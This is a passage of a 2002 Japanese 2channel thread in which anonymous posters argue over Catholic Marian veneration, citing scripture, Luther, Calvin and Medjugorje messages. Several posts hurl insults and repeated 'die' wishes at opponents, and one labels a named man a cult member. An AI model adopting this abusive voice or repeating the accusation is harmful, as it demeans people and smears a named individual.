カトも正統になってしまうよ。
君達は、イエスを神といいながら、
一方でイエスが神であることを否定もしている。
これは非常に悪質な神否定だね。
335 :
名無しさん@1周年 :02/12/08 16:43
>>334 脳みそが腐乱して狂い死ね!大馬鹿阿呆!
336 :
名無しさん@1周年 :02/12/08 16:45
>>335 君達は自分のしていることにも責任がもてないんだね。
すごいことだ。
337 :
名無しさん@1周年 :02/12/08 16:49
>>335 人を呪うなら、その呪いによって死ぬだろう。
338 :
名無しさん@1周年 :02/12/08 16:50
>>336 やい!脳みそ腐乱!死にやがれ!
誰が?何に?どのように?責任をもてないというのだ!
馬鹿野郎!日本語になってねえんだよ!大馬鹿野郎!
今すぐ死にやがれ!馬鹿!あほ!気違い!死ね!
339 :
名無しさん@1周年 :02/12/08 16:52
煉獄じじい脳みそ腐乱ちぇすこ 未完成の文を書き込んで、反論したつもりになっている妄想ジジイ。結論が欠如した掴み所の無い文書を書き込むのが特徴。真理を見出す為に頭を使わず、結論も無いような詭弁を考える為にのみ頭を使う。馬鹿なんだか、利口なんだか不明。 「マリヤ崇敬をすると神に背く」ということを、他の馬鹿にも増して、明確に認識しながら、故意に、悪意を持って神に背いている。カト用語では「大罪」。大罪ジジイ。
340 :
名無しさん@1周年 :02/12/08 16:53
>>338 君、自分で低脳の程をさらけ出してどうするんだい?
低脳なら努力すべきさ。
341 :
名無しさん@1周年 :02/12/08 16:57
>>340 馬鹿野郎!それはオマエダ!腐乱した脳みそで少しは考えやがれ!煉獄じじい!死ね!
342 :
名無しさん@1周年 :02/12/08 16:59
>>341 君の脳が腐乱しているからといって、
僕の脳が腐乱しているという結論にはならないさ。
343 :
名無しさん@1周年 :02/12/08 17:04
>>342 経緯はどうであれ、ふらんちぇすこの脳みそが腐乱しているという結論だけは正解だ。
たまにはマトモなことを言うじゃないか?大馬鹿野郎!
344 :
名無しさん@1周年 :02/12/08 17:11
>>343 そうだな。彼は君と同じ異邦人だからな。
ただし私は主の民の者だ。君達とは違うのさ。
345 :
名無しさん@1周年 :02/12/08 17:14
電波妄想威ってよし!
346 :
名無しさん@1周年 :02/12/08 17:25
>>345 聖書がそういっているから、威張ってられるのさ。
ありがとう。
347 :
名無しさん@1周年 :02/12/08 17:30
日本語になってねえよ!死ね!
348 :
名無しさん@1周年 :02/12/08 17:49
>>309 >a. ローマ法王の言葉や外典などを聖書と同等としている。
それは俺さんでしょ。
http://life.2ch.net/test/read.cgi/psy/1037516989/ >E聖書のどこにも(外典にさえ)・・・
>b. マリヤ礼拝…マリヤによる救い。
救いの源泉はキリストと認めてますが。マリア様の執り成しはキリストがあってのこと。
>c. 洗礼など儀式、行いによる救い…幼児洗礼など
幼児洗礼の何が悪いのでしょうか?マタイ 19:14
そもそも、秘蹟(聖礼典)が救いに不可欠なものと主張したのは新教の側ですが。
だから、新教での秘蹟は「洗礼」と「聖餐」に限定したのでしょ?
一方私たちは、救いと直接関係ない「しるし」をも含めた七つのものを、
秘蹟と定めていますが。
>d. 偶像礼拝…聖人・マリヤ・キリスト像を拝む。
拝んでいるのではなく、敬ってるの。
>e. 司祭を通しての罪の赦し。
ヨハネ福 20:23 ルーテル教会でも告悔はあります。
>f. 煉獄など聖書にない教えが多数、しかも強調されている等
マタイ 12:32 人の子に言い逆らう者は赦される。しかし、聖霊に言い逆らう者は、この世でも後の世でも赦されることがない。」
赦しを必要とする後の世とは、煉獄のことです。
349 :
名無しさん@1周年 :02/12/08 17:54
煉獄じじい脳みそ腐乱ちぇすこ 未完成の文を書き込んで、反論したつもりになっている妄想ジジイ。結論が欠如した掴み所の無い文書を書き込むのが特徴。真理を見出す為に頭を使わず、結論も無いような詭弁を考える為にのみ頭を使う。馬鹿なんだか、利口なんだか不明。 「マリヤ崇敬をすると神に背く」ということを、他の馬鹿にも増して、明確に認識しながら、故意に、悪意を持って神に背いている。カト用語では「大罪」。大罪ジジイ。
350 :
名無しさん@1周年 :02/12/08 19:33
君には私がふらんちぇすことかいうカト信者だとしか見えないようだな。 IP調べて見ろよ。私がイスラエル在住だということが分かるから。
351 :
名無しさん@1周年 :02/12/08 19:34
イスラエル料理ってどんなの? おいしい?
352 :
名無しさん@1周年 :02/12/08 19:34
イスラエルの何処だ?
353 :
名無しさん@1周年 :02/12/08 19:35
ソドムか?
354 :
名無しさん@1周年 :02/12/08 19:35
やっぱカレーか? あの辺の料理ってよくわからない
355 :
名無しさん@1周年 :02/12/08 19:36
356 :
名無しさん@1周年 :02/12/08 21:31
357 :
名無しさん@1周年 :02/12/08 22:10
ルターとカルヴァンはマリアを崇敬しておりました。 プロは見習いましょう。 A,マルチン・ルター 1、神の母 「マリアは正しく、人の母であるばかりか、神の母とも呼ばれる。 マリアがまことの神のおん母であることは確かである。」(Martin Luther, Weimar edition of Martin Luther's Works, English translation edited by J. Pelikan [Concordia: St. Louis], volume 24, 107.) 2、終生童貞 「マリアが主の御母でありかつ処女であるというのは信仰箇条である」 (Martin Luther, op. cit., Volume 11, 319-320.)
3、無原罪の宿り 「マリアの霊魂の受胎が原罪なく行われたというのは、甘美なる、 敬虔なる信仰である。すなわち、霊魂の受胎そのものにおいて、 マリアもまた原罪を免れ、神の賜物に満たされ、神によって受胎する 純なる霊魂を受け、こうして、生の最初の瞬間から、すべての罪を 拭われていたという信仰である。」 ("On the Day of the Conception of the Mother of God," 1527). 4、被昇天 「処女マリアが天国におられることは疑い得ない。それがどのようにして 起こったのかは、私たちにはわからない。」(Martin Luther, Weimar edition of Martin Luther's Works Trans.by William J. Cole 10, p. 268.) 5、マリア崇敬 「マリア崇敬は人間の心の奥底に記されている」(Martin Luther, Weimar edition of Martin Luther's Works 10, III, p.313.) 「キリストのみがたたえられるのでしょうか?神の聖母もたたえられる べきではないでしょうか?この方は蛇の頭を踏み砕いた婦人。どうか、 私たちに耳を傾けてくだい。御子はあなたの願いを拒まないからです」 (1546年1月、ウィッテンベルクにおける最後の説教。Martin Luther, Weimar edition of Martin Luther's Works, English translation edited by J. Pelikan [Concordia: St. Louis], Volume 51, 128-129.)
B.カルヴァン 「エリサベツはマリアを「主のおん母」と呼んだ。マリアに受胎する 肉なる人が、同時に永遠の神であると彼女がいえるほど、 その人性はキリストの2性質に融和していたからである。」 (John Calvin, Calvini Opera [Braunshweig-Berlin, 1863-1900], Volume 45, 35.) 「マリアに何人も子供がいたという、ヘルビディウスは、無知過ぎる。 幾つかの箇所で、それはキリストの従兄弟であると示されている からである。」(Bernard Leeming, "Protestants and Our Lady", Marian Library Studies, January 1967, p.9. ) 「御子の母に選ばれ、運命付けられることによって、神がマリアに最高の 栄誉を授けられたことは否定できない。」( John Calvin, Calvini Opera [Braunshweig-Berlin, 1863-1900], Volume 45, 348.) 「御子の母とならせたもうことにおいて、神がマリアに崇敬と誉れを お与えになったことに思いを馳せずして、キリストにある祝福を楽しむ ことはできない」(John Calvin, A Harmony of Matthew, Mark and Luke (St. Andrew's Press, Edinburgh, 1972), p.32.)
361 :
名無しさん@1周年 :02/12/09 19:55
362 :
名無しさん@1周年 :02/12/11 14:11
>>360 どうせ他のサイトか、本からの引用だろう!
363 :
名無しさん@1周年 :02/12/11 14:36
364 :
名無しさん@1周年 :02/12/11 14:40
俺=元祖ハレルヤ!= 山本誠一=三役カルト兄弟
365 :
名無しさん@1周年 :02/12/11 19:06
マリヤ像=イシス像
366 :
名無しさん@1周年 :02/12/11 19:08
367 :
名無しさん@1周年 :02/12/11 19:47
ファチマとメジュゴリエ メジュゴリエの子供たち 1996年2月15日メジュゴリエにて イエズスはたたえられますように 1992年に、ルチア修道女は、「秘密は教会権威者のためのものです」、 聖母はそれが公にされるべきであると一度も言ったことがありません、 と公式に声明しました。 それで、秘密が現在知られていると言って、人々を惑わさないようにしま しょう。これまでのどの教皇様も、秘密を暴く考えはお持ちではありませ んでした。ヨハネス23世は「必要なら」そうしようと考えましたが、キュ ーバ危機(62年)に差し止められました。
僭越にも、非公認のジャーナリストたちは、ケネディー大統領とフルシチ ョフに、それを明らかにするよう手紙を書いたといいます。しかし、ロー マは、この噂を一度も確証していません。真実だったなら認めていたでし ょう。ローマは常に事実しか認めません。(ヴァチカンの慣習です) 一方、ヴァチカンは、秘密を引用せず、誤った政策の深刻な結末を考えさ せることによって、どの首脳にも外交的に適用したはずはずです。このよ うな適用は、ファチマの秘密によってのみ、できたことなのです。 ヴィットリオ・メッソーリとの対談で、ラッツィンガー枢機卿は、自分自 身、秘密を読み、そこから二つの点を引き出したといわれました。
370 :
名無しさん@1周年 :02/12/11 20:36
カトリック教会 主な特徴…a. ローマ法王の言葉や外典などを聖書と同等としている。 b. マリヤ礼拝…マリヤによる救い。 c. 洗礼など儀式、行いによる救い…幼児洗礼など d. 偶像礼拝…聖人・マリヤ・キリスト像を拝む。 e. 司祭を通しての罪の赦し。 f. 煉獄など聖書にない教えが多数、しかも強調されている等 以上の事柄等より,当教会はカトリック教会を聖書の基準から判断し,異端と考えております。正しいプロテスタント教会は当教会と同様の立場をとります。
1、 マリアは単なる信心以上に位置付けられるべきである。聖母は信仰生 活の中心である。 2、 どれほど今は不適当に思えても、教会はこの信仰の教理を教えなけれ ばならないという事実を確認した。 1980年に、ヨハネ・パウロ二世は何度か教皇科学アカデミーを通して 外交へ介入しました。たとえば、アカデミーの職員を核施設に派遣し、 核戦争の結果するものを知らせました。 さらには、演説を通して、教皇科学アカデミー、生命研究所を通して、 環境に関する声明を通して、少しづつ秘密の内容を世界に広めています。 また、カイロ、北京、イスタンブールでのヴァチカンの声明を通して、 これを行っています。 ―― マリアの戦略を知りたいというかたは、教皇様のお言葉(1983年、 ドイツ・フルダの青年集会での対話)に注意するべきです。メディアが この力強いお言葉を曇らせるばかりか、捻じ曲げて引用しているのは 残念なことです。教皇様のお話を全部読みたい方は、オッセルバトーレ ロマーノを読んで下さい。 また、「ファチマ:ルチア修道女自身の言葉」の最新刊に添付された、 ルチアの覚書にも特に注意すべきです。というのも、その神秘的生活が姉 妹を聖母に密着させているからです。 ルチア修道女と密にされている教皇様が、「メジュゴリエはファチマの継 続です」と言われているのですから、教皇様はその理由を御存知です。 「どんな妨害があってもメジュゴリエに行きたい」ともおっしゃっている のですから、教皇様はその理由をも御存知なのです。
真実を得るには、私たちは源に向かう必要があります。この場合には、
何よりも、ルチア修道女。次に教皇様。そして、ラッツィンガー枢機卿
です。3人の言葉に何らかの矛盾があれば、特に、それが誰からも任命さ
れていない者から引用されるならば、無視すべきです。それはメディアの
戯言に過ぎません。
私たちには聖母がおられ、当然ながら、聖母が支配されています。そ
のために、聖母は、私たちの基準に合わない道具をお選びになります。
予想もつかない方法で、聖母は目標を遂げられます。私たちは、最後には、
聖母の汚れなき御心が勝利するのを知ることでしょう。いつでしょうか。
それは、私たちが、「今」、愛に回心することにかかっているのです。
マルトー・ロバン(現在ローマで列福調査中のフランス人神秘家)が
「大いなる出来事」の勃発に関して恐怖心をあらわにしたフランス人
司祭に言ったように、「大いなる出来事。それは私たちの心の中で、
日々起こっているのです」。
ゴスパ、あなたの恵みのマントが私たちの避難所でありますように。
http://www.nd.edu/~mary/reports/2_15_96.html
メジュゴリエの子供たち5/13/2000 イエズスがたたえられますように! 1) 教皇様がファチマ第3の秘密を明らかにされました!5月13日、 ファチマで、二人の小さき羊飼い、ヤシンタとフランシスコを、列福する 式典で、教皇様はファチマの「第3の秘密」を知らされました。そこには、 暗殺の試みの幻が含まれていました。無神論の組織が教会に対して起こる 戦争、信仰の証人達が二千年期の最後の世紀に耐え忍ぶ大きな苦しみが 述べられていました。それは20世紀の教皇様が導かれる、果てしない十 字架の道行きを物語っています。 2) この前の金曜日の夜に、聖母はイヴァンへの出現に立ち会うよう、 私たちを山にお招きになりました。大いなる5月13日の夜の祈りの集会 で、ゴスパは歓びに満ちておられました。その夜、聖母が世界平和のた めに特別にお祈りになったのは偶然ではありません。それは、第1次世 界大戦の終結を早める道具に選んだ、2人の子供たちに、まさしく聖母が お求めになったことなのです。
それは、毎日ロザリオを祈り、聖母の汚れなき御心を通して神に犠牲をさ さげるということです。ヤチンタは、死ぬ前に従姉のルチアにいいました。 「神が世界の平和をマリアに委ねられたので、私たちは、聖母の汚れなき 御心を通してそれを求めなければなりません」 聖母自らメジュゴリエでお与えになった、汚れなき御心に捧げられる美し い祈りを、誰もが祈るように提案します。
「ああ、善徳に燃える、マリアの汚れなき御心よ。 その御愛を私たちにお示しください。 ああ、マリア様、あなたのみ心の炎が、全ての民の上に注がれますよう。 あなたを心から愛します。たえずあなたを求められるよう、 私たちの心の中にまことの愛を刻んでください。 ああ、マリア様、心の謙遜なおん者よ、罪に陥った時に、 私たちをどうか覚えてください。 あなたは全ての民が罪を犯しているのを御存知です。 その汚れなき御心によって、私たちに健全な霊魂をお与えください。 私たちが常に、あなたの母心の善徳を仰ぎ、あなたの御心の炎によって 回心しますように。アーメン。」(11/28/83)
3) 列福の行われた日が、ファチマの日(5/13/1917)であるば かりか、暗殺未遂の記念日(5/13/1981)であったのは意義深いことです。 そして、フロッサールドの伝記によれば、病院に運ばれてくるときに、 ただひとつの祈りが教皇様の唇からもれてきたといいます。 ―― 教皇様は、「マリアよ、きたりたまえ!」、「マリアよ、きたりたまえ!」 と何度もお祈りになっていたのです。ゴスパがメジュゴリエでご出現を開 始されたのは、その翌月のことでした! 1984年3月25日、「3回選びました」とメジュゴリエで聖母が仰った、 この聖なる教皇様は、ファチマで聖母がお求めになった奉献を果たされま した。おなじ日のその数時間後に、メジュゴリエで、聖母は子供たちにい われました。 「私と私の天使たちと、歓びを共にしなさい。私の計画の一部が実現した からです。多くの人が回心していますが、なお、多くの人が、回心を望ん でいません。祈りなさい!」 それはメジュゴリエでの聖母の1000回目の御出現でした!
教皇様は、奉献を終えられたその日、クレムリンでともに奉献を行い、 戻ってきたばかりのポール・ニリッツァ司教様と、4時間を過ごされまし た。友がメジュゴリエに立ち寄らずに戻ってきたのに驚かれて、教皇様は 言われました。 「メジュゴリエはファチマの実現であり継続なのです!」 ゴスパご自身、7年後に、教皇様のお言葉を確認なさっています。 「愛する子供たちよ!今日もあなた方を祈りに招きます、 今までにないほど、私の計画が実現され始めたからです… 9日間犠牲を捧げるように招きます。 私が、ファチマで始めた秘密を通して実現しようとしているすべてが、 あなた方の助けによってまっとうされるためです。 愛する子供たちよ。私の到来の大切さ、状況の深刻さを 理解するように招きます」(8/25/91)
翌月には、メジュゴリエからこのようにお招きになりました。 「私の汚れなき御心が罪の世に勝利するのを助けてください!」(9/25/91) 聖母の汚れなき御心の勝利なくして、ファチマの実現がありえたでしょう か。これがメジュゴリエでのご出現が最後になる理由を説明します。 聖母は、ファチマで、「最後に私の汚れなき御心が勝利するでしょう!」 と未来についての預言をお与えになりました。教皇ヨハネ・パウロ二世は、 「希望の敷居を渡る」の中で宣言されました。 「勝利があるとすれば、マリアによってです。キリストは聖母を通して勝 利するでしょう。キリストは聖母と一つになって、今後も勝利をお望みに なっているからです…マリアはファチマの3人の子供に現れて、世紀末の 今、実現しようとしている言葉をお与えになったのです」(p227)
教皇様とルチア修道女は長時間話しあいました。修道女がメジュゴリエ について聖母ご自身から得たことを教皇様にお話くださっていればと思 います。(『90年代のメジュゴリエ』91年8月の章を参照) 今日、多くの人々が、ありとあらゆる予言に耳を貸して、恐怖の売人がお 金儲けをしています。しかし、マリアの使徒と呼ばれるメジュゴリエの子 供たちは、聖母の歓びを発散することが責任です。聖母は未来に治めよう と今誕生しつつあるものをお歓びになっているのです。「それは私の心が待 ち切れないほどに望んでいる平和の時代です!」(6/25/95)
小さきヤチンタとフランシスコを模範にして、積極的に、愛をもってその 計画を支えることによって、聖母の勝利を速めようではありませんか! 愛するゴスパ。あなたがお選びになったこの教皇様に、心から感謝いたし ます。また、あなたの汚れなき御心の勝利のために私たちを選んでくださ ったことにも。 シスター・エマヌエル
381 :
名無しさん@1周年 :02/12/11 20:50
@マリヤ崇敬は、神に背く偶像礼拝です。出エジプト記20章4節
A偶像礼拝をすると悪霊と交わる事になります。第1コリント10章20節
B人は、ただキリスト・イエスを信じる信仰によって義と認められ救われるのであり、マリヤ崇敬によって救われるものではありません。ガラテヤ2章16節
C神と人との間の仲介者は唯一、人としてのキリスト・イエスであり、マリヤは仲介者では有り得ません。第1テモテ2章5節
Dイエスは霊においては父なる神と等しく、肉においては人と同じです。主イエスが人として生まれたのはマリヤからですが、神と同質の神の御子として生まれたのは造られたすべてのものより先であり、マリヤは神の母では有り得ません。コロサイ1章15節
E聖書のどこにも(外典にさえ)「マリヤ崇敬をせよ」とは書かれていません。黙示録22章18節
Fカトリック教徒が聖伝と呼ぶものは、正典に匹敵するものではなく、信仰基準とは成り得ません。内容が正典に反するものなど論外です。マルコ7章8節
以上のように、マリヤ崇敬が間違いである事は確実であり、反論の余地は全くなく、一見、反論のような書き込みがあっても、それは全て詭弁に過ぎません。又、いくら詭弁を並べても、荒らしても、マリヤ崇敬が間違いであるという事実は変動しません。
マリヤ崇敬は聖書に反する行為です。それに伴う奇跡は、癒しを含めて、悪霊による怪奇現象と、人と悪霊による演出です。
ルルド等の奇跡等に関する詳細
http://life.2ch.net/psy/kako/1024/10244/1024427652.html
382 :
名無しさん@1周年 :02/12/11 20:55
俺=元祖ハレルヤ!= 山本誠一=一人三役カルト兄弟 スレ乱立、自作自演、サクラ
383 :
名無しさん@1周年 :02/12/11 20:55
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>>1-8 を読むのだ。
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384 :
名無しさん@1周年 :02/12/11 21:12
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>>1-8 を読むのだ。
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385 :
名無しさん@1周年 :02/12/11 21:23
>>プロの諸君へ:キリストがペテロにかけた言葉を読みなさい。 あなた方の教会の運命が書かれています。 「あなたに言います。あなたはペテロです。わたしはこの岩の上に わたしの教会を建てます。ハデスの門もそれには打ち勝てません。 わたしは、あなたに天の御国のかぎを上げます。何でもあなたが地上で つなぐなら、それは天においてもつながれており、あなたが地上で解く なら、それは天においても解かれています。」(マタイ16:18、19) 「…岩の上に家を建てた賢い人に比べることができます。雨が降って洪水 が押し寄せ、風が吹いて家に打ちつけたが、それでも倒れませんでした。 岩の上に建てられていたからです。わたしのこれらのことばを聞いて それを行なわない者はみな、砂の上に自分の家を建てた愚かな人に比べる ことができます。雨が降って洪水が押し寄せ、風が吹いてその家に打ち つけると倒れてしまいました。それはひどい倒れ方でした。岩の上に 建てられていなかったからです。」(7:24‐27) 「それはひどい倒れ方でした。」―あなた方の教会のことです。
386 :
名無しさん@1周年 :02/12/11 21:25
プロの諸君へ: あなた方は「聖書のみ、正典のみ」と言い、 他を「偽典」、「外典」と馬鹿にしますが、正典の中に、 偽典や外典からの引用があるのはなぜですか? ユダは書簡の中で、偽典「エノク書」と、偽典「モーセ被昇天」を 引用しているけど。w パウロは、ヘブライ人への手紙の中で、偽典「イザヤの昇天」(11:37)を 引用してるけど。w マルコ7:6-8でキリストが引用したイザヤの言葉は、 カトリックが旧約正典に採用した70人訳聖書にしか載ってませんけど。w
387 :
名無しさん@1周年 :02/12/11 21:26
>>1 キリストの使徒と同時代に生き、勇敢に異端と戦い、 命を捨ててまで教会を守り抜き、 後の世代へ引き継いでくれた教父たちの聖書解釈を 全部無視して、自分たちの新解釈に差し替えるなんざ、 泥棒のやることだよ。恥知らず。 お前達の先駆者のほうがよほど使徒に近かったよ。 今はどうだ?先駆者の言葉さえ無視して、 母教会を執拗に陥れようとしている。 どういうつもりなんだ? 人でなしの集団よ!忘恩の徒よ!懺悔しろ!
388 :
名無しさん@1周年 :02/12/11 21:27
宗教改革指導者がマリアの終生処女説、無原罪懐胎を信じて 疑わなかったというのは非常に興味深い点である。 すなわち、マリアにおいてこそ、カトリックと、プロ、正教は、 この地上において初めて和解できるということになる。 非常に興味深い点である。
聖伝は、聖書の起源を正しく証言しています!プロは耳を傾けましょう。 ルカとヨハネとヨハネ黙示録はキリストからの直接啓示書。 聖パピアス(60-130)ヒエラポリス司教 「そして、長老はこのように言った。ペテロの通訳、マルコは、主の言行 について記憶しているものを正しく筆記したが、順序立ててではなかった。 というのも、彼は主ご自身から聞いたわけでも、主に同行したわけでも なかったからである。だが、私が言ったように、ペテロから後にきいたの である。ペテロはその教えを聞き手の必要に合わせた。それで、マルコは 覚えている限りのことを間違いなく書き下ろした。自分のきいたことを 一つも除外したくなかったし、虚偽を含めたくなかったからである。 マタイについて言えば、彼はヘブライ語の言行録を作り最善に翻訳した」 (Guignebert, Jesus: p39 Schonfield, The Passover Plot: p230-231
聖イレナエウス(180年)リヨン司教 「マタイは、ペテロとパウロがローマで福音をとき、そこで教会を築いて いる間に、福音書をヘブライ人の間で彼らの原語で出版した。彼らが 去ってから、ペテロの弟子で通訳者であったマルコが、ペテロの説教の 核心部を書いて、私たちに与えた。パウロに従ったルカは、師がといた 福音を本に書き下ろした。次に、主の弟子で、主の胸に寄り添っていた ヨハネが、アジアのエペソで生活していた時に、福音書を自ら執筆した」 McDowell, More Than a Carpenter: p64 ヨハネの黙示録は96年頃に書かれました。 聖イレナエオス(180年) 「反キリストの名前について積極的に発言する危険をあえておかすまい。 というのも、その名前が今の時代に明示される必要があれば、黙示録の 幻を見た本人によって告げられていたはずであるから。その幻が見られ てからそれほどは経っていない。私たちの時代に迫る、ドミティアヌス の治世の末近くに見られたからである」 Against Heresies (A.D. 180-199), Book V, Chapter 30
ヒッポリトスAD 236 「アジアにいたヨハネは、ドミティアヌス王(AD96年没)によって、 パトモス島に追放された。彼はそこで福音書を書き、黙示録の幻を見た。 そして、トラヤヌスの時代にエペソで永眠した。捜しても、その亡骸は 見つからなかった」 Hippolytis, in chapter one, verse 3 of On the Twelve Apostles 教父による福音書の成立の順番と中身:まとめ 1、マタイ:マタイはペテロとパウロの宣教中に 最初に福音書をヘブライ語で出版した。 2、マルコ:マルコはキリストに同行した経験がなかったので、 ペテロから聞かされたことを後でまとめた。 3、ルカ:ルカは師から聞かされた福音を本にした。 4、ヨハネ:イエスの身近にいたヨハネは、主から直接見聞き したことを福音書にしたたためた。 5、ヨハネ黙示録:96年までに、使徒ヨハネがパトモスで執筆
イエレナイオスはさらに、マリアについてこう書きました。 「マリアは新らしいエヴァ」 「エヴァは死をもたらし、マリアはいのちをもたらした」 「神がキリストを通して新しく始めた新人類の母」 マリア様を大切にしましょう。
393 :
名無しさん@1周年 :02/12/11 21:35
プロテスタントの諸君へ: 使徒信条を採用するなら、「聖徒の交わり」の聖徒に、 マリアを最高の聖徒として受け入れ、交わりなさい。 天上の聖徒こそ、真に贖われた初穂である。 彼らは地上の私たちの為に執り成しの祈りをなさってくださる。 地上の聖徒さえすることを、天上の聖徒が無為に過ごしているだろうか。 否、死に勝利した天上の聖徒は、まだ戦っている地上の聖徒のために 絶えず、執り成しの業をしておられるのである。 マリアはその最初にして最高の聖人である。神の母である。 プロは詭弁を弄さず良識を用いなさい。
394 :
名無しさん@1周年 :02/12/11 21:35
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>>1-8 を読むのだ。
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395 :
名無しさん@1周年 :02/12/11 21:38
396 :
名無しさん@1周年 :02/12/11 21:38
俺さんは、地球で1番のアフォ。
397 :
名無しさん@1周年 :02/12/11 21:38
>>393 ____
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\(6 (_λ_)\  ̄ ̄ ̄ ̄ ̄ ̄
/ _ ||||||| _| 詭弁はオマエなのだ
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398 :
名無しさん@1周年 :02/12/11 21:41
>>396 ____
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/ _ ||||||| _| オマエほどの馬鹿は
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399 :
名無しさん@1周年 :02/12/11 22:06
脳みそ腐乱ちぇすこ 未完成の文を書き込んで、反論したつもりになっている妄想ジジイ。結論が欠如した掴み所の無い文書を書き込むのが特徴。真理を見出す為に頭を使わず、結論も無いような詭弁を考える為にのみ頭を使う。馬鹿なんだか、利口なんだか不明。 否、完璧な大馬鹿。 「マリヤ崇敬をすると神に背く」ということを、他の馬鹿にも増して、明確に認識しながら、故意に、悪意を持って神に背いている。カト用語では「大罪」。大罪ジジイ。 ウソと詭弁と妄想の中に逃げ込むアホ。 主に強い反感を持っている模様。 脳みそ腐乱ちぇすこほどの馬鹿野郎は探しても滅多にいない。 究極の馬鹿。馬鹿の代名詞。ギネス級の馬鹿。 脳みそ垂れ流して死にやがれ!馬鹿野郎!
400 :
名無しさん@1周年 :02/12/11 23:05
401 :
名無しさん@1周年 :02/12/11 23:06
>>400 ____
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/ _ ||||||| _| オマエほどの馬鹿は
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402 :
名無しさん@1周年 :02/12/11 23:10
宗教板名物の俺さんだぞ、もっと大切にしたれ。
403 :
(`・ω・´) :02/12/11 23:12
俺さんってどんな人にょ?
404 :
名無しさん@1周年 :02/12/11 23:13
さぁ、複数いるんじゃないかとか、最近のは別人じゃないかとか、
405 :
名無しさん@1周年 :02/12/11 23:14
俺さんと呼ばれる者は複数いる。 しかも、俺さんに成りすます者も少なくない。
406 :
(`・ω・´) :02/12/11 23:14
沢山いるにょ? 人気者だにょ。
407 :
名無しさん@1周年 :02/12/11 23:16
>>1 まだ騒いでいるのか?
ルカ1:43「私の主の母が来られるとは、何ということでしょう。」
イスラエル民族は、ヤハウェの名をみだりに唱えることを恐れて、
常に『主』(アドナイ)と形容しるならわしがあった。
アドナイは「主」、エホヴァの形容。新約ではキュリオスと訳された。
キュリオスは「主」=アドナイのギリシャ訳。
聖霊に満ちたエリサベトが、マリアに対して、「わがアドナイの母」
とほめたたえたときに、マリアは聖霊の証によって
永遠に「神の母」と定められた。この聖書的真理は決して変動しない。
408 :
名無しさん@1周年 :02/12/11 23:18
神様なんて見たことないでしょ? だから、抽象的なことしか言えないのよ。 あなたの創造する神、それを否定するつもりはないけど 肯定されるのも違うと思う。 だから、神についてみんなで語ること自体変だよ〜!
409 :
名無しさん@1周年 :02/12/11 23:26
>>1 ピオ神父様を知っているか?
ピオ神父様は聖母マリア崇敬をことのほか大切にしておられたことを
おまえは知らないのか。
戯言を抜かすのもいい加減にしなさい。
汝の父と母を敬えとある。
肉の父母を敬うべきといわれているのなら、
信仰の母マリアを敬うのは信仰者として当然の務めであろう。
愚者は汝である。汝は崇敬の方法を誤り悪魔に魅入られたのだ。
おまえの説によれば、あれほど多くの苦しむ人々の病の癒しと救霊とに
励み、文字通りキリストの鏡のように生きた聖人が、マリア崇敬をした
ことによって今頃地獄の火に焼かれているということなのだな?
そうなのだな?神のみ前にそう言えるのだな? 誠意があるなら答えろ。
410 :
名無しさん@1周年 :02/12/11 23:27
へ //Vヽ / / ヽ / / (ヽ)(/)| やっと落ち着いたか... | | " ‥"| =3 やだねぇ俺さんってすぐムキになるし │ミ 彡 レベルの低い荒らしはするし ヽ ヽ___ノ| ダッチちゃんハァハァしたり、スレ乱立したり、 / ̄ ̄ヽ ''' | カトスレに乱入荒らししたり、1000回も ヽ ヾ | 罵倒とコピペしたり、マルタになったり、 | | 他人の成りすましたり、無知だったり、 チンピラやったり、俺さん自身を尊敬したり、 やだねえ 怖いねえ うひひヒ.....
411 :
名無しさん@1周年 :02/12/11 23:36
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412 :
名無しさん@1周年 :02/12/11 23:45
>>411 まだ騒いでいるのか?
ルカ1:43「私の主の母が来られるとは、何ということでしょう。」
イスラエル民族は、ヤハウェの名をみだりに唱えることを恐れて、
常に『主』(アドナイ)と形容しるならわしがあった。
アドナイは「主」、エホヴァの形容。新約ではキュリオスと訳されている。
聖霊に満ちたエリサベトが、マリアに対して、「わがアドナイの母」
とほめたたえたときに、マリアは聖霊の証によって
永遠に「神の母」と定められた。
この聖書的真理は決して変動しない。
413 :
名無しさん@1周年 :02/12/11 23:50
>>408 >あなたの創造する神、
とんでもないことをいうね。
神があなた方を創造したのであって、
あなた方にどうやってかを創造できる?
想像ならわかるが。ことばをちゃんと使い分けてね。
それに、私たちは想像しているのではないよ。
聖霊を受ける経験をした人はみな「知る」んだよ。「実感」と言ってもいい。
一生を変えるほどの鮮烈な経験をするんだよ。
神体験。超越経験と呼ぶ人もいるかもしれない。
それをしないうちは、君には、何一つわからないよ。
祈ることだね。祈りがその唯一の道だから。
414 :
名無しさん@1周年 :02/12/11 23:51
イエス・キリストへの信仰=キリスト教 偶像マリヤへの崇拝=カトリック教 つまり、キリスト教とカトリック教は別な宗教であると考えれば良いのです。 そう考えればすっきりさわやか。
>>414 マリアは偶像ではないよ。神が創造された聖人。 だから、偶像崇拝にはなりません。 それに、崇拝ではなく、崇敬です。
416 :
名無しさん@1周年 :02/12/11 23:55
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417 :
名無しさん@1周年 :02/12/11 23:57
>>414 あなたは、事実を見事に言い当てています。
418 :
名無しさん@1周年 :02/12/11 23:57
俺さん。用語の定義をはっきりさせようね。偶像とは人間の産物。聖人とは神の産物。
419 :
名無しさん@1周年 :02/12/11 23:58
420 :
名無しさん@1周年 :02/12/11 23:59
>>414 聖人崇拝だって間違いだ。
使徒でさえ礼拝されることを拒んだ。
おまえらは、マリヤ像を拝んでるだろう!
ふざけんな!
421 :
名無しさん@1周年 :02/12/12 00:00
422 :
名無しさん@1周年 :02/12/12 00:00
>>420 残念でした。崇拝ではなく崇敬です。
出直してきな。
423 :
名無しさん@1周年 :02/12/12 00:02
すべて信仰はイエス・キリストに向けられるべきものです。 人間がかたどった像を拝むのはどう考えても偶像崇拝にあたると思います。
424 :
名無しさん@1周年 :02/12/12 00:07
>>423 カトリックの誰一人、偶像を拝んでいる人間なんかいませんよ。
どこのネタですか?天国の聖母を、信仰の母、神の母として、
篤く敬っているのです。一世紀の教父の時代からです。
その伝統を受け継いで今に来ているのが、カトリックとロシア正教です。
425 :
名無しさん@1周年 :02/12/12 00:08
>>422 カトリックA教会の庭で、おじいさんが手を合わせてマリヤ像を拝んでたぞ。
426 :
名無しさん@1周年 :02/12/12 00:10
>>5 より
◆詭弁封じ◆
@青銅の蛇やケルビムは神の命令によって作ったもの。神が「マリヤの像を作れ」と命令した事はありません。神が「マリヤ崇敬をせよ」と命じた事もありません。興味深い事に、青銅の蛇は後に偶像化し、ヒゼキヤ王に破壊されています。第二列王記1〜7節
